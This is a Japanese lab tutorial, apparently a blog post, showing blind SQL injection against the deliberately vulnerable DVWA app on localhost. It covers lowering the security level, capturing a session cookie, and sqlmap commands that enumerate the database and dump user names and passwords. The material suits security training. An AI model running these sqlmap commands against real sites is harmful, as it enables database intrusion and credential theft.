DVWAでブラインドSQLインジェクション（SQLMAP）

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- 直接的なsqlインジェクションを用いてDB情報を確認できない環境でもadminのパスワードを奪取する

## 手順概要
- 通常sqlインジェクションができるか確認する
- sqlmapを使うために必要なurlとcookie情報を取得する
- sqlmapにcookieを当てて、脆弱性があるか確認する
- DB～columnの情報を取得する
- パスワードを奪取する

## 内容
### ブラインドSQLインジェクションとは
- SQLインジェクションはできるが、返答のデータは固定コメントで詳細が把握できない。この場合、sql命令をいくら送っても情報を集めることはできない。
- しかし、各命令における反応の違いはキャッチできるので、反応の違いから脆弱性をみつけ攻撃することができる。
- このように直接ではなく裏でこそこそする感じ（sqlmapの中身が分からないのでイメージ）

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- SQL Injection(Blind)にアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/68eba377-5315-c02a-26a3-b7bd664ec235.png)

### インジェクション開始

- まずは、ログインフォームが機能するか確認
    - 取り合えず「１」を入力しsubmitすると反応はあるが、ユーザーが存在するかどうかしか分からないので、これでは情報を盗めそうにない。
    - そこでsqlmapを用いて、命令文を流しまくって脆弱性をみつけたい
 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/27a97641-5462-f647-990c-1319ec17fca3.png)


- sqlmapを機能させるためにcookie情報を取得する。
    - 前提としてsqlmapにて命令文を流すためには、ページにアクセスできる状態である必要がある。つまり今回の場合、login_sessionを保持しているcookieが必要である。これを持っていれば、ログインしている状態となり、sqlmapからも本ページへアクセスできる。
    - 取り合えずsubmit押していれば、networkにはデータが入り、そこからcookieを確認できる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/7ab9b607-a5fa-0f7f-0de7-e9e1a7f715ed.png)


- sqlmapを用いて脆弱性を見つける
    - 必要なのはsubmit時のクエリ込みのurlとcookie
    - あとはsqlmap側でクエリを良しなに変更し試し打ちしてくれる。
    - sqlmapを実行した結果、脆弱性が少なくとも2つあることが分かった。

```shell:
# -u:url --cookie:cokie
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=s7bf59ci7d39cbeheki8k0j3e3"
# 以降もこのコードを使うが助長なので、"SQLMAP-BASE"と略す
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/d6de4488-a798-b50f-f664-79ecd2cb164f.png)

- DB～columnの情報を取得する
    - 以下コマンドを実行すると以下画像のような結果になる
        - DB
            - ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/75af0273-c86f-c5ea-afc5-ac4e17467696.png)
        - table
            - ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/dfd207ab-feca-eaa5-b466-270896854a88.png)
        - column
            - ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/017b110c-9913-04e2-4c45-b46d186b0517.png)
        - user/pw 
            - ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/085bc7ec-0c0c-5274-df2e-52d282ac87d4.png)





```shell:
# DB取得
"SQLMAP-BASE" --dbs
#　DB:dvwa内のテーブル
"SQLMAP-BASE" -D dvwa --tables
#　DB:dvwa内のtable:usersのカラム
"SQLMAP-BASE" -D dvwa -T users --column
```

- user/passwordを奪取する
    - 以下コマンドを実行する。

```shell:
#　DB:dvwa内のtable:usersのcolumn:passwordを解析する
"SQLMAP-BASE" -D dvwa -T users -C user,password --dump
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/07e8a969-cd74-66ba-01d7-28c0ab96721c.png)

おわり